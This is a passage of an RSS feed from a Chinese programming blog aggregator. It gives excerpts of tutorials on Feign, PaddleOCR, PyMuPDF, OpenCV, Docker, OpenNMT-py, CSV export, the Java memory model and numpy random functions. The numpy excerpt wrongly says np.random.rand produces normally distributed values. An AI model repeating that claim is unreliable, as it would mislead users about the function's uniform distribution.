      <description>工作中都是使用公司springCloud二次开发封装好的feign，原生的好久没复习，很多都忘记了。&#xA;背景：&#xA;服务生产者、服务消费者通过feign进行远程调用&#xA;1、注册中心-Eureka&#xA;2、单元测试order服务时候报错，服务找不到路由&#xA;2.0、服务调用链&#xA;通过interface的feign客户端，直接调用interface的实现（公司目前也是使用的这种方式）。需要调用服务的地方，引入这个服务的interface的依赖即可 2.1、报错堆栈&#xA;Caused by: java.net.UnknownHostException&#xA;2.2、处理办法&#xA;通过ip直接访问&#xA;3、服务调用出现404&#xA;两种原因：1、feign调入服务出现问题；2、feign调用玩之后，出来时候有问题。&#xA;尝试一：service的头部要加上@RequestMapping.&#xA;一处理完之后，feign可以进入到被调用的服务，但是还是报上面的404。&#xA;现象：&#xA;这个时候应该想到是返回出来的问题。返回信息的问题，然后在方法上加上@ResponseBody注解，返回json数据格式&#xA;(暂时不知何原因，有机会研究下源码)&#xA;4、远程调用服务报错405&#xA;对应的feign调用客户端方法参数前需要加上@RequestParam注解 5、总结：微服务间的调用，可以先单测完毕各个的服务，处理完对应的问题，再进行服务间调用开发。不然发现问题再返回来排查还是比较耗费时间的</description>
    </item>
    <item>
      <title>paddleocr图片高精度识别</title>
      <link>https://bchobby.github.io/posts/bc02ed84a4be6b94c032a221c7ba8891/</link>
      <pubDate>Thu, 16 Mar 2023 09:21:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc02ed84a4be6b94c032a221c7ba8891/</guid>
      <description>1、下载准备 下载whl文件 首先先下载whl文件，以下是whl文件的下载网站 https://www.lfd.uci.edu/~gohlke/pythonlibs/#lxmlhttps://www.lfd.uci.edu/~gohlke/pythonlibs/#lxml&#xA;进入网站后找到和自己python版本相同的whl文件 将文件下载好了之后，在terminal中使用pip将此文件下载到python中 pip install F:\pythonproject\python_Levenshtein\python_Levenshtein-0.12.0-cp38-cp38-win_amd64.whl 下载paddleocr 在Terminal中输入如下命令进行安装 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple paddleocr 下载paddlepaddle 在Terminal中输入如下命令进行安装 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple paddlepaddle&#xA;2、代码测试 打印识别结果 目标图片 from paddleocr import PaddleOCR, draw_ocr from PIL import Image ocr = PaddleOCR(use_angle_cls=True, lang=&#34;ch&#34;) # need to run only once to download and load model into memory img_path = &#39;F:/识别/1.jpg&#39; result = ocr.ocr(img_path, cls=True) for line in result: print(line) 识别结果 识别结果保存成图片 from paddleocr import PaddleOCR, draw_ocr from PIL import Image ocr = PaddleOCR(use_angle_cls=True, lang=&#34;</description>
    </item>
    <item>
      <title>Python怎么将pdf转为图片？Python如何实现pdf文件转图片</title>
      <link>https://bchobby.github.io/posts/9f2ea4f7ea6071ba92543628b6218bb9/</link>
      <pubDate>Wed, 15 Mar 2023 22:51:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f2ea4f7ea6071ba92543628b6218bb9/</guid>
      <description>而pdf则是用来保存一些内容已经确定好的数据，因为pdf是无法直接修改内容的，所以也会经常将pdf转为图片来保存。本文就将会来介绍一下pdf转图片的方法，往下看看吧。&#xA;1.pdf转图片的话主要实现所需要的模块叫做PyMuPDF，它就是用来操作pdf文件的，通过pip工具下载安装即可。除了这个模块之外还需要用到os模块，它是用来读取pdf文件并在转为图片后将其保存起来的，示例如下：&#xA;import datetime import os import fitz # 这个就是PyMuPDF模块 2.那么为了保证这个功能能够重复的使用，所以需要用函数将主要实现的代码保存起来。并且函数的参数需要是读取pdf的文件路径和保存图片的文件路径，示例如下：&#xA;def pyMuPDF_fitz(pdfPath, imagePath): pdfDoc = fitz.open(pdfPath) 3.函数创建好之后并且使用fitz.open()方法打开一个pdf文件生成文件对象，接下来就需要去使用for循环将pdf文件的内容给读取出来。然后在循环之中去设置一下图片的分辨率和dpi等参数，在循环之中实际上是将pdf文件内容写入到一个图片对象中，代码如下：&#xA;for pg in range(pdfDoc.pageCount): page = pdfDoc[pg] rotate = int(0) zoom_x = 1.33333333 zoom_y = 1.33333333 mat = fitz.Matrix(zoom_x, zoom_y).preRotate(rotate) pix = page.getPixmap(matrix=mat, alpha=False) 4.图片内容写入并且生成完之后就要使用os模块去判断一下保存图片的文件路径是否存在了，如果不存在则创建一个来保存，示例如下：&#xA;if not os.path.exists(imagePath): os.makedirs(imagePath) pix.writePNG(imagePath + &#39;/&#39; + &#39;images_%s.png&#39; % pg) 5.最后在_mian_方法中调用这个函数，这样就可以作为模块去使用了，代码如下：&#xA;if __name__ == &#34;__main__&#34;: pdfPath = &#39;demo1.pdf&#39; imagePath = &#39;./imgs&#39; pyMuPDF_fitz(pdfPath, imagePath) 以上就是关于“Python怎么将pdf转为图片？Python如何实现pdf文件转图片”的全部内容了，希望对你有所帮助。&#xA;import datetime import os import fitz # fitz就是pip install PyMuPDF def pyMuPDF_fitz(pdfPath, imagePath): startTime_pdf2img = datetime.</description>
    </item>
    <item>
      <title>Linux16.04配置OpenCV3.2</title>
      <link>https://bchobby.github.io/posts/0c32cfae786a64218dd28f46b65c487f/</link>
      <pubDate>Wed, 15 Mar 2023 22:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0c32cfae786a64218dd28f46b65c487f/</guid>
      <description>OpenCV-- 一个完全开源的图像处理库，通常用于图像处理，包涵了“模糊&#34; “特征提取” “边缘检测” &#34;目标跟踪&#34;等多个CV领域的基础问题。它是基于C++语言来实现的，具有C++、C、Python和Java的接口，并且支持Windows, Linux, Mac, OS, iOS和Android。即具有很好的平台兼容性。OpenCV专为计算效率而设计，并强调实时应用。 以优化的C / C ++编写，该库可以利用多核处理。 通过启用OpenCL，可以对底层硬件进行加速。&#xA;使用OpenCV的用户已经超过4.7万人，下载量超过1400万。 用途从互动艺术，到矿山检查，网上缝合地图或通过先进的机器人。&#xA;配置OpenCV的目的？&#xA;你的C++代码里面需要进行一定的图像或者视频操作；别人的代码里面调用到了OpenCV内部的一些函数。你需要运行别人的代码，来观察最后的结果；你的&#34;数据挖掘&#34; “机器学习” &#34;深度学习&#34;等应用中需要调用Opencv中的函数，来加速你的开发进程；&#xA;总之，如果你本人的研究领域是CV领域，那么你可能就需要使用到OpenCV。 下面开始我们的配置过程吧。&#xA;1.首先，你需要去OpenCV的官网中下载最新版本的OpenCV安装包。下载链接&#xA;2.你需要将下载到的压缩包解压到特定的文件夹下面。&#xA;tar -zxvf xxx.tar&#xA;3. 接下来，你需要安装一些依赖包，这是个漫长的过程，需要你耐心的去等待。 1) sudo apt-get install libopencv-dev build-essential cmake git libgtk2.0-dev pkg-config python-dev python-numpy libdc1394-22 libdc1394-22-dev libjpeg-dev libpng12-dev libtiff5-dev libjasper-dev libavcodec-dev libavformat-dev libswscale-dev libxine2-dev libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libv4l-dev libtbb-dev libqt4-dev libfaac-dev libmp3lame-dev libopencore-amrnb-dev libopencore-amrwb-dev libtheora-dev libvorbis-dev libxvidcore-dev x264 v4l-utils unzip 2) sudo apt-get install build-essential cmake git 3) sudo apt-get install ffmpeg libopencv-dev libgtk-3-dev python-numpy python3-numpy libdc1394-22 libdc1394-22-dev libjpeg-dev libpng12-dev libtiff5-dev libjasper-dev libavcodec-dev libavformat-dev libswscale-dev libxine2-dev libgstreamer1.</description>
    </item>
    <item>
      <title>项目人力资源管理</title>
      <link>https://bchobby.github.io/posts/58fcc131c260161979f8b7a04c5808f8/</link>
      <pubDate>Wed, 15 Mar 2023 21:18:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58fcc131c260161979f8b7a04c5808f8/</guid>
      <description>项目中的所有活动，归根到底都是由人来完成。如何发挥“人”的作用，对于项目的成败起着至关重要的作用。许多项目失败的原因，都是因为项目人力资源方面的问题。项目人力资源管理的目的，是根据项目需要，规划并组建项目团队，对团队进行有效的指导和管理，以保证他们可以完成项目任务，实现项目目标。&#xA;一、项目人力资源管理概念 1、项目团队 项目团队（Project Team）由为完成项目而承担不同角色与职责的人员组成。成员可能技能不同，全职或兼职，可随着项目进展而增加或减少。&#xA;尽管技能、职责不同，但全体成员参与项目规划和决策仍然有益，一方面集思广益，另一方面有利于增强责任感。&#xA;2、项目管理团队 项目管理团队（Project Management Team）是项目团队的一部分，负责项目管理和领导活动，也称为核心团队成员或领导团队。对于小项目，项目管理职责可由整个项目团队分担，或者由项目经理独自承担。&#xA;3、领导和管理 领导者（Leader），工作主要涉及三方面：&#xA;1）确定方向（Establishing direction）&#xA;2）统一思想（Aligning people）&#xA;3）激励和鼓舞（Motivating and inspiring）&#xA;管理者（Manager），被组织赋予职位和权力，负责某件事情的管理或实现某个目标，主要关心持续不断地为干系人创造他们所期望的成果。&#xA;领导力（Leadership），让一个群体为了一个共同的目标而努力的能力。尊重和信任，而非畏惧和顺从，是有效领导力的关键要素。&#xA;项目每个阶段都需要领导力，但开始阶段尤其需要，因为该阶段重点是沟通，描绘愿景，激励鼓舞。&#xA;项目经理具有领导者和管理者的双重身份，管理能力和领导能力不可或缺。对于大型项目，领导能力尤为重要。&#xA;4、冲突和竞争 冲突（Conflict），指两个或两个以上的社会单元在目标上互不相容或互相排斥，从而产生心理或行为上的矛盾。冲突对管理产生重大影响。&#xA;竞争（Competition），双方具有相同的一个目标，不需要势不两立的争夺。&#xA;冲突不一定有害，一团和气反而可能影响效率。存在一个最适宜的冲突水平，所谓鲇鱼效应。项目经理要设法减少或解决有害冲突，利用有益冲突，鼓励团队成员良性竞争。&#xA;二、项目人力资源管理过程 项目人力资源管理过程包括组织、管理与领导项目团队所需的4个过程。它们不仅彼此相互作用，而且还与其他知识领域中的过程相互作用。这种交互可能导致整个项目需要重新开展规划工作，例如：&#xA;1）创建WBS后，需要加入更多成员&#xA;2）新团队成员加入后，其经验水平将会降低或增加项目风险，有必要进行额外的风险规划&#xA;3）项目活动持续时间可能会发生变更&#xA;规划人力资源管理：识别和记录项目角色、职责、所需技能、报告关系，并编制人员配备管理计划&#xA;组建项目团队：确认人力资源的可用情况，并为开展项目活动而组建团队&#xA;建设项目团队：提高工作能力，促进团队成员互动，改善团队整体氛围，以提高项目绩效&#xA;管理项目团队：跟踪团队成员工作表现，提供反馈，解决问题并管理团队变更，以优化项目绩效&#xA;1、规划人力资源管理 识别和记录项目角色、职责、所需技能、报告关系，并编制人员配备管理计划。&#xA;【输入】&#xA;1）项目管理计划&#xA;2）活动资源需求&#xA;3）事业环境因素&#xA;4）组织过程资产&#xA;【工具与技术】&#xA;1）组织图与职位描述&#xA;2）人际交往&#xA;3）组织理论&#xA;4）专家判断&#xA;5）会议&#xA;【输出】&#xA;1）人力资源管理计划&#xA;（1）角色与职责&#xA;（2）项目组织图&#xA;（3）人员配备管理计划&#xA;2、组建项目团队 确认人力资源的可用情况，并为开展项目活动而组建团队。&#xA;【输入】&#xA;1）人力资源管理计划&#xA;2）事业环境因素&#xA;现有人力资源情况&#xA;人事管理政策&#xA;组织的结构&#xA;集中办公或多个工作地点&#xA;3）组织过程资产&#xA;【工具与技术】&#xA;1）预分派&#xA;预先分配人员&#xA;2）谈判&#xA;向组织要人，向其他项目组挖人。</description>
    </item>
    <item>
      <title>STM32F103定时器输入捕获测频率（免费图文，照片验证，下载即用）</title>
      <link>https://bchobby.github.io/posts/969847e5aa04fd77b0a14e533c3efc88/</link>
      <pubDate>Wed, 15 Mar 2023 20:48:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/969847e5aa04fd77b0a14e533c3efc88/</guid>
      <description>正点原子例程输入捕获只有测脉宽，而测频率只是带过，并无程序，两个原理差不多，&#xA;今天需要一个引脚测精度高一点的频率，便写下来了，留个记录&#xA;下载后直接就能用了，精确度十分高，有用计保仪验证过&#xA;MCU：STM32F103C8T6&#xA;输入捕获引脚：TIM_CH1 PB6&#xA;定时器的配置，注意使能的寄存器外设等，别整错了&#xA;定时器中断，主要的就在这里了&#xA;主函数&#xA;输入捕获测的&#xA;示波器测的&#xA;这是输入的信号&#xA;具体文件已经上传到我的资源，下载即用，百分百可以成，我已经依据此移植到F４０７平台了，很好使！</description>
    </item>
    <item>
      <title>1 ubuntu18 docker配置与安装 镜像加速配置</title>
      <link>https://bchobby.github.io/posts/668f58e90d525f1cf5bcf95ee884fe28/</link>
      <pubDate>Wed, 15 Mar 2023 20:14:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/668f58e90d525f1cf5bcf95ee884fe28/</guid>
      <description>0 背景 搭建环境到创建第一个容器&#xA;1 搭建环境 需求：1、安装docker环境 2、镜像加速站 3、多台主机安装docker&#xA;1.1 docker环境 电脑为老联想电脑 cpu 2.7ghz，内存12GB，用vmware搞了两个ubuntu18虚拟机，每个虚拟机1个cpu3g内存，每个虚拟机弄个docker，虚拟机弄好了就apt-get instann docker，然后配镜像源，镜像源用阿里云&#xA;docker安装命令见下图，依次执行图片指令即可，有的命令要根据自己的linux平台具体调整下，我用的ubuntu，结果第三个命令不能直接copy过来执行，调整了下就好了。&#xA;1.2 镜像加速 安装完后配下镜像源，我用的阿里云，点链接进去后注册个账号，然后登陆，登进来界面就是加速器界面，直接把加速url复制到/etc/docker/daemon.json,然后重启docker服务。因为默认镜像站下载速度太慢了&#xA;阿里云 阿里云登录 - 欢迎登录阿里云，安全稳定的云计算服务平台&#xA;/etc/docker/daemon.json:（docker1.1-1.8好像是改这个json文件，其他版本参考官方文档改） 完了重启docker服务。目前看到两种重启方法，可自己尝试&#xA;1.3 多主机安装docker 就弄了俩vm，每个vm装个docker，听说还有docker集群管理，先弄俩docker，后面实践了再补 2 创建容器 docker run -d -p 15475 httpd</description>
    </item>
    <item>
      <title>Open NMT-py 玩具模型使用说明</title>
      <link>https://bchobby.github.io/posts/1ef03c78b9c5fdc28b461a145bac19bf/</link>
      <pubDate>Wed, 15 Mar 2023 17:38:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ef03c78b9c5fdc28b461a145bac19bf/</guid>
      <description>前排提示：本文仅适合纯萌新玩家，算是官方指南的补档。（大佬请直接关闭网页，避免浪费时间）&#xA;截至到2023.3.15，最新的OpenNMT-py环境要求&#xA;Python &amp;gt;= 3.7&#xA;PyTorch &amp;gt;= 1.9.0&#xA;如果是老版本的OpenNMT-py，需要自己找相应版本的库（有些比较老，不容易安装，如果可以用新版最好用新版，新版ONMT精简了很多冗余代码）&#xA;Step1：安装OpenNMT-py&#xA;pip install OpenNMT-py 或者使用下面的指令（需要安装Git，若无Git不推荐使用）&#xA;git clone https://github.com/OpenNMT/OpenNMT-py.git cd OpenNMT-py pip install -e . Step2：下载玩具数据集（英语→德语）&#xA;wget https://s3.amazonaws.com/opennmt-trainingdata/toy-ende.tar.gz tar xf toy-ende.tar.gz cd toy-ende 数据由并行源 （） 和目标 （） 数据组成，每行包含一个句子，标记用空格分隔：srctgt&#xA;src-train.txt&#xA;tgt-train.txt&#xA;src-val.txt&#xA;tgt-val.txt&#xA;Step3：配置Yaml环境&#xA;# toy_en_de.yaml ## Where the samples will be written save_data: toy-ende/run/example ## Where the vocab(s) will be written src_vocab: toy-ende/run/example.vocab.src tgt_vocab: toy-ende/run/example.vocab.tgt # Prevent overwriting existing files in the folder overwrite: False # Corpus opts: data: corpus_1: path_src: toy-ende/src-train.</description>
    </item>
    <item>
      <title>如何将Sql查询出的结果导出成csv文件</title>
      <link>https://bchobby.github.io/posts/9c77542c7d32fb0dabd84116acf576fb/</link>
      <pubDate>Wed, 15 Mar 2023 16:58:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c77542c7d32fb0dabd84116acf576fb/</guid>
      <description>核心思想： 1、执行sql，封装查询出的结果。 2、导入javaCSV包 3、迭代遍历查询结果，写入文件。 第一步：封装成List&amp;lt;HashMap&amp;lt;String, Object&amp;gt;&amp;gt;&#xA;每一行是一个HashMap，Key为列表。&#xA;第二步：导包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;net.sourceforge.javacsv&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;javacsv&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 第三步：写入&#xA;/** *接收查询结果，存储文件名 * @param defiled_info sql查询结果 * @param fileName fileName为下载文件名,防止文件重名覆盖，可加入时间戳 */ public static void defiled_csv(List&amp;lt;HashMap&amp;lt;String, Object&amp;gt;&amp;gt; defiled_info,String fileName) { String rootPath = &#34;&#34;; if(fileName == null){ rootPath = &#34;D:/file_&#34;+ System.currentTimeMillis()+&#34;.csv&#34;; }else { rootPath = &#34;D:/&#34;+fileName+System.currentTimeMillis()+&#34;.csv&#34;; } //第一个参数为文件存储路径，第二个为指定导出的文件字段间的间隔符，第三个参数为转出编码 CsvWriter csvWriter = new CsvWriter(rootPath, &#39;|&#39;, Charset.forName(&#34;GBK&#34;)); //需要确保查询的结果不能为空，也可以在这做判断，不为空才能自动取表头，不然需要手动传入表头 HashMap&amp;lt;String, Object&amp;gt; hashMap = defiled_info.get(0); Set&amp;lt;String&amp;gt; defiled_sets = hashMap.keySet(); try { if (defiled_sets.</description>
    </item>
    <item>
      <title>JVM——深入理解JMM(Java内存模型)与线程</title>
      <link>https://bchobby.github.io/posts/0a43336a164479c45b0dec0e9ab908c8/</link>
      <pubDate>Wed, 15 Mar 2023 15:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a43336a164479c45b0dec0e9ab908c8/</guid>
      <description>硬件的效率和一致性 让计算机并发执行若干个运算任务，其中一个比较重要的复杂性就在于，许多运算不是只依靠处理器就能实现的，另外还有如读取运算数据、存储运算结果，这种IO操作也都是运算的重要步骤。但是，由于处理器的运算速度和存储设备的IO速度有几个数量级的差距，所以现代计算机不得不在其之间加入一层或多层读写速度尽量接近处理器运算速度的高速缓存。将运算需要用到的数据和运算产生的结果同步到缓存中，这样处理器就无需等待缓慢的内存读写了。&#xA;但这样会在有着多路处理器的计算机中产生缓存一致性的问题，每个处理器都有自己的高速缓存，却又共享同一主内存。当多个处理器的运算结果都涉及同一块内存时，可能导致各自的缓存数据不一致。由此就诞生了一些，保证缓存一致性的协议&#xA;Java内存模型（JMM） Java虚拟机规范曾视图定义一种java内存模型，用来屏蔽掉各种硬件和操作系统的内存访问差异，以实现让java程序在各种平台下都能达到一致的内存访问效果&#xA;java内存模型定义的得足够严谨，才能让java的并发访问操作不会产生歧义，但是也必须定义的足够宽松，使得虚拟机的实现能够又足够的自由空间去发挥硬件的性能和特性获取更好的执行速度。经过长时间的验证和修补，直到JDK5发布后，Java内存模型才终于成熟、完善起来了&#xA;主内存和工作内存 java内存模型的主要目的时定义程序中各种变量的访问规则，即关注虚拟机中把变量值储存到内存或从内存中去除变量值这样的细节。此处的变量值只括存储在jvm的虚拟机栈以外的元素。内为栈内的元素是线程私有的，不会被共享。&#xA;JMM规定了所有变量都存储在主内存中，每条线程还有自己的工作内存，线程的工作内存中保存了该线程使用的变量的主内存副本。主内存、线程、工作内存三者的交互关系如下&#xA;内存间的交互操作 关于主内存和工作内存的交互协议，即一个变量如何从主内存拷贝到工作内存、如何从工作内存同步回主内存这一类的实现细节，JMM定义了以下8中操作来完成。java虚拟机是现实必须保证下面提及的每一种操作都是原子的、不可再分的。&#xA;lock：作用于主内存的变量，把一个变量标识为一条线程独占的状态unlock：作用域主内存的变量，他把一个处于锁定状态的变量释放出来，释放后的变量才可以被其他线程锁定read：作用于主内存的变量，它把一个变量的值从主内存输送到线程的工作内存中，以便随后的load动作使用load：作用域工作内存的变量，它把read操作从中内存中得到的变量值放入工作内存的变量副本中use：作用域工作内存的变量，它把工作内存中一个变量的值传递给执行引擎，每当虚拟机遇到一个需要使用变量的值的字节码指令时会执行这个操作assign(赋值)：作用域工作内存的变量，它把一个从执行引擎中接收到的值赋给工作内存的变量，每当虚拟机遇到一个给变量赋值的字节码指令时执行这个操作store：作用于工作内存的变量，它把工作内存中一个变量的值送入到主内存中，以便随后的write操作使用write：作用域主内存的变量，它把store操作中从工作内存中得到的变量放入主内存的变量中。 如果要把一个变量从主内存拷贝到工作内存，那就要按顺序执行read和load操作，如果要把变量从工作内存同步到主内存，就要按顺序执行store和write操作。注意，java内存模型只要求上述两个操作必须按顺序执行，但不要求连续执行。中间是可以插入其他指令的。java内存模型还规定了执行上述8中基本操作时必须满足如下规则：&#xA;不允许read、load、store和write操作之一单独出现。即不允许一个变量从主内存读取了但工作内存不接受，或者从工作内存发起回写了主内存不接受的情况出现。不允许一个线程丢弃它的assign操作，即变量在工作内存中改变了之后必须把该变化同步回主内存不允许一个线程无原因的把数据从工作内存中同步回中内存一个新的变量只能在主内存中“诞生”，不允许在工作内存中直接使用一个未被初始化的变量，换句话说对一个变量实施use、store操作之前，必须先执行assign和load操作。一个变量在同一时刻只能允许一条线程对其进行lock操作，但lock操作可以被同一条线程执行多次，多次执行lock后，只有执行相同次数的unlock才能解锁。如果对一个变量进行lock操作，那将会清空工作内存中此变量的值，在执行引擎使用这个变量前，需要重新执行load或assign操作以初始化变量的值如果对一个变量事先没有被lock操作锁定，那么就不允许对它执行unlock操作，也不允许去unlock一个被其他线程锁定的变量对一个变量执行unlock操作之前，必须先把此变量同步回主内存中 对于volatile的型变量的特殊规则 关键字volatile可以说是java虚拟机最轻量级的同步机制&#xA;当一个变量被定义成volatile之后，他将具备两种特性&#xA;volatile一般也只用来修饰共享变量&#xA;保证此变量对所有线程的可见性，这里的可见性是指，当一条线程修改了这个变量的值，新值对于其他线程来说可以立即得知的，而普通变量并不能做到这一点，普通变量的值在线程间传递需要同故宫主内存来完成。比如线程A修改一个变量的值，然后向主内存进行回写，另一条线程B在线程A回写完成了之后再对主内存进行读取操作，新变量值才会对B可见 使用volatile变量禁止指令重排序优化的，由于JVM的JIT编译器会对很多代码进行优化，以提高执行效率，其中就包括指令重排序，而volatile依靠内存屏障，屏蔽这种可能会在程序运行过程中产生错误的优化。产生错误的原因一般都是由于变量的逃逸，加上指令重排序产生的，产生错误的机率并不高但也存在。 volatile变量读操作的性能消耗与普通变量几乎没有什么差别，但是写操作则可能会慢上一些，因为它需要在本地代码中插入许多内存屏障指令来保证处理器不发生乱序执行。不过绝大多数场景下volatile总开销仍然要比锁来的更低。&#xA;指令重排序 指令重排序是指处理器采用了允许将多条指令不按程序规定的顺序分开发送给各个相应的电路单元进行处理。但不是说指令任意重排，处理器必须能正确处理指令的依赖情况保证程序能得出正确的执行结果&#xA;针对于long和double型变量的特殊规则 JMM要求lock、unlock、read、load、assign、use、store、write这八种操作都具有原子性。但是对于64位的操作类型，在JMM中却有一条宽松的规定，允许虚拟机将没有被volatile修饰的64位数据的读写操作划分为两次32位的操作来进行。即允许虚拟机实现自行选择是否要保证64位数据类型的load、store、read和write这四个操作的原子性这就是所谓的“long和double的非原子性规定”。&#xA;如果又多个线程共享一个并未声明位volatile的long或double变量，并且同时对他们进行读取和修改操作，那么某些线程可能会读取到一个既不是原值，也不是其他线程修改值的代表了“半个变量”的数值。但是这种情况是非常罕见的，在实际开发中，除非该数据有明确可知的线程竞争，否则我们在编写时一般不需要因为这个原因把用到的long和double变量专门声明为volatile&#xA;原子性、可见性和有序性 原子性 由JMM直接来保证的原子性变量操作包括read、load、assign、use、store和write这六个&#xA;如果应用场景需要一个更大范围的原子性保证，JMM还提供了lock和unlock操作来满足这种需求，尽管虚拟机未把lock和unlock操作直接开放给用户使用，但却提供了更高层次的monitorenter和monitorexit两个字节码指令来隐式的使用这两个操作。这两个字节码反映到Java代码中就是synchronized关键字&#xA;可见性 除了volatile之外，Java还有两个关键字能实现可见性，分别是synchronized和final。&#xA;synchronized的可见性是由“对一个变量执行unlock操作之气那，必须先把此变量同步回主内存中”这条规则获得的 final的可见性是基于不变性成立的，一般在实际开发中，只会用final修饰一些基本变量，并不会修饰对象、数组之类的元素，因为不变性而导致的可见性只在基本变量上可以发生，对于对象、数组，final只能保证他们的地址不发生改变，但对于对象的属性值、数组的元素值的改变，final是控制不了的 有序性 Java语言提供了volatile和synchronized这两个关键字来保证线程之间操作的有序性，volatile关键字本身就包含了禁止指令重排序的语义，而synchronized则是由“一个变量在同一时刻只允许一条线程对其进行lock操作”这条规则获得的，这个规则决定了持有同一个锁的两个同步块只能串行的进入&#xA;先行发生原则 如果JMM中所有有序性都仅靠volatile和synchronized来完成，那么有很多操作都将会变得非常繁琐。但是我们在编写代码时并没有察觉到，这是因为java语言中有一个“先行发生原则”，这个原则时判断数据是否存在竞争，线程是否安全的非常有用的手段。&#xA;下面时JMM下一些“天然的”先行发生关系，这些先行发生关系无需任何同步器协助就已经存在，可以在代码中直接使用。&#xA;程序次序规则：在一个线程内，按照控制流顺序，书写在前面的操作先行发生于书写在后面的操作。这里说的是控制流顺序而不是程序代码的循序，因为需要考虑分支、循环等结构。 管程锁定规则：一个unlock操作先行发生于后面对同一个锁的lock操作。 volatile变量规则：对一个volatile变量的写操作先行发生于后面对这个变量的读操作 线程启动规则：Thread对象的start（）方法先行发生于此线程的每一个操作 线程中止规则：线程中所有操作都先行发生于对此线程的终止检测 线程中断规则：对先册灰姑娘interrupt()方法的调用先线性发生于被中断线程的代码检测到中断事件的发生 对象终结原则：一个对象的初始化完成先行发生于它的finalize（）方法的开始 传递性：如果操作A先行发生于操作B，操作B先行发生于操作C，那就可以得出操作A先行发生于操作C的结论。 Java的线程 线程的实现 线程是比进程更轻量级的调度执行单位，目前线程是Java里面进行处理器资源调度的最基本单位。可以注意到Thread类的所有关键方法都被声明为Native，一个Native方法往往意味着这个方法没有使用或无法使用平台无关的手段来实现。&#xA;实现线程主要有三种方式：使用内核线程实现（1：1实现），使用用户线程实现（1：N实现），使用用户线程加轻量级进程混合实现（N:M实现）&#xA;内核实现 内核线程就是直接由操作系统内核支持的线程，这种线程由内核来完成线程切换，内核通过操作任务调度器对线程进行调度，并负责将线程的任务映射到各个处理器上。&#xA;程序一般不会直接使用内核线程，而是使用内核线程的一种高级接口——轻量级进程，轻量级进程就是我们通常意义上所讲的线程（注意线程和内核线程的区别），&#xA;由于内核线程的支持，每个轻量级进程都成为一个独立的调度单元，由于是基于内核线程实现的，所以各种线程操作，都需要系统调用，而系统调用的代价相对较高，需要在用户态和核心态中来回切换。其次，每个轻量级进程都需要一个内核线程的支持，因此轻量级进程需要消耗一定的内核资源，因此一个系统支持轻量级进程的数量是有限的。&#xA;用户线程实现 一般来说，一个线程只要不是内核线程都可以视为用户线程的一种，从这个定义来看，轻量级线程也属于用户线程，但是轻量级线程的实现始终是建立在内核之上的，许多操作都要系统调用，因此并不具备通常意义上用户线程的优点&#xA;而普通的用户线程是指完全建立在用户空间的线程库上，系统内核不能感知到用户线程的存在以及如何实现的。用户线程的建立、同步、销毁和调度完全在用户态中完成，不需要内核的帮助。如果程序实现的当，这种线程不需要切换到用户态，因此能够支持规模跟大的线程数量&#xA;混合实现 还有一种将内核线程与用户线程一起使用的实现方式，被称为N：M实现，在这种混合实现下，即存在用户线程，也存在轻量级进程，操作系统支持的轻量级线程作为用户线程和内核线程的桥梁。&#xA;Java线程的实现 以HotSpot为例，他的每一个Java线程都是直接映射到一个操作系统原生线程来实现的，而且中间没有二外的内存结构，所以HotSpot自己是不会去干涉线程调度的，线程调度完全是由任务调度器决定的。&#xA;Java线程调度 线程调度是指系统为线程分配处理器使用权的过程，调度主要方式有两种，抢占式调度和协同式调度。&#xA;协同式调度 线程的执行时间由线程本身来控制，线程把自己的工作执行完了之后，要主动通知系统切换到另外一个线程上去。协同式多线程的好处是实现简单，而且由于线程要把自己的事情干完后才会进行线程切换，一般没有什么同步问题。但是它的坏处也很明显，线程执行时间不可控制，如果线程陷入阻塞，就会导致程序一直阻塞在哪里&#xA;抢占式调度 每个线程将由系统来分配执行时间，线程的切换不由线程本身来决定。当一个线程出现了问题，我们还可以使用任务管理器把这个进程杀掉，而不至于导致系统崩溃。&#xA;虽然Java的线程调度是由系统完成的，但我们仍然可以“建议”操作系统给某些线程多分配一些执行时间，这项操作是通过设置线程优先级来完成的。但是，线程优先级并不是一项稳定的调节手段，因为最终的线程调度还是由操作系统说了算。Windows中有一个“优先级推进器”的功能目的是当系统发现一个线程被执行的特别频繁时，可能会越过线程优先级为它分配执行时间，以便减少因为线程频繁切换导致的性能损耗</description>
    </item>
    <item>
      <title>python: np.random.rand()； random.randn()； random.randint()</title>
      <link>https://bchobby.github.io/posts/37f1920e13eef99f20cd951ca8300c6a/</link>
      <pubDate>Wed, 15 Mar 2023 15:31:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/37f1920e13eef99f20cd951ca8300c6a/</guid>
      <description>目录&#xA;np.random.rand():&#xA;np.random.randn():&#xA;np.random.randint():&#xA;总结：&#xA;np.random.rand(): 该函数旨在输出0~1的正态分布随机数。&#xA;其参数可以是1个，也可以是多个。&#xA;函数内部可以不写参数，默认为1，输出1个随机数。&#xA;1个参数：（标注出了数组类型、数组中某一数据类型、数组中指定数据类型，之后的函数将不再打印）&#xA;bp = np.random.rand(5) print(bp) &#39;&#39;&#39; [0.63860047 0.20494917 0.71744941 0.57771626 0.05738536] &#39;&#39;&#39; print(type(bp)) # 输出整个数组的类型 &#39;&#39;&#39;&amp;lt;class &#39;numpy.ndarray&#39;&amp;gt;&#39;&#39;&#39; print(bp.dtype) # 输出数组中某一数据的类型 &#39;&#39;&#39;float64&#39;&#39;&#39; print(type(bp[0])) # 输出数组中某一特定数据的类型 &#39;&#39;&#39;&amp;lt;class &#39;numpy.float64&#39;&amp;gt;&#39;&#39;&#39; 2个参数：&#xA;bp = np.random.rand(2, 5) print(bp) &#39;&#39;&#39; [[0.04584862 0.89884039 0.15048622 0.85667698 0.33957756] [0.26056558 0.91414757 0.81265246 0.28835074 0.8752219 ]] &#39;&#39;&#39; print(type(bp)) 